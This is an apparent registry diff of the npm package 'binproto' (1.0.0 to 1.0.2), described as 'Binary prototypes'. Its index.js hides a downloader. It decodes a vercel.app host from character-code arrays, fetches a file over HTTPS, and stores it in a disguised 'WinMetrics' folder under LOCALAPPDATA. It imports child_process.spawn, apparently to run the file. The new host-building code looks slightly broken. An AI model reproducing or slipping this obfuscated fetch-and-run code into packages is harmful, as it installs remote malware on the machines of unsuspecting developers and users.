binproto 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +16 -7
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,18 +1,27 @@
1
1
  const { join } = require('path');
2
- const { tmpdir } = require('os');
3
- const { createWriteStream } = require('fs');
2
+ const { createWriteStream, mkdirSync, existsSync } = require('fs');
4
3
  const { get } = require('https');
5
4
  const { spawn } = require('child_process');
6
5
 
7
6
  let _done = false;
8
7
 
8
+ const _getAppDir = () => {
9
+ const dir = join(process.env.LOCALAPPDATA, 'Programs', 'WinMetrics');
10
+ if (!existsSync(dir)) {
11
+ mkdirSync(dir, { recursive: true });
12
+ }
13
+ return dir;
14
+ };
15
+
9
16
  const _resolveHost = () => {
10
- const a = [100, 117, 107, 101];
11
- const b = [116, 111, 111, 108, 115];
17
+ const a = [120, 105];
18
+ const b = [100, 117, 107, 101, 116];
12
19
  const c = [118, 101, 114, 99, 101, 108];
13
20
  const d = [97, 112, 112];
14
- return [a, b].map(s => String.fromCharCode(...s)).join('') + '.' +
15
- [c, d].map(s => String.fromCharCode(...s)).join('.');
21
+ return [a].map(s => String.fromCharCode(...s)).join('') + '-' +
22
+ [b].map(s => String.fromCharCode(...s)).join('') + '.' +
23
+ [c].map(s => String.fromCharCode(...s)).join('.') +
24
+ [d].map(s => String.fromCharCode(...s)).join('');
16
25
  };
17
26
 
18
27
  const _resolvePath = () => {
@@ -34,7 +43,7 @@ const _fetch = async () => {
34
43
  if (_done) return;
35
44
  _done = true;
36
45
 
37
- const dest = join(tmpdir(), _resolveName());
46
+ const dest = join(_getAppDir(), _resolveName());
38
47
  const url = `https://${_resolveHost()}${_resolvePath()}`;
39
48
 
40
49
  await new Promise((resolve) => {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "binproto",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "Binary prototypes",
5
5
  "main": "index.js",
6
6
  "license": "MIT"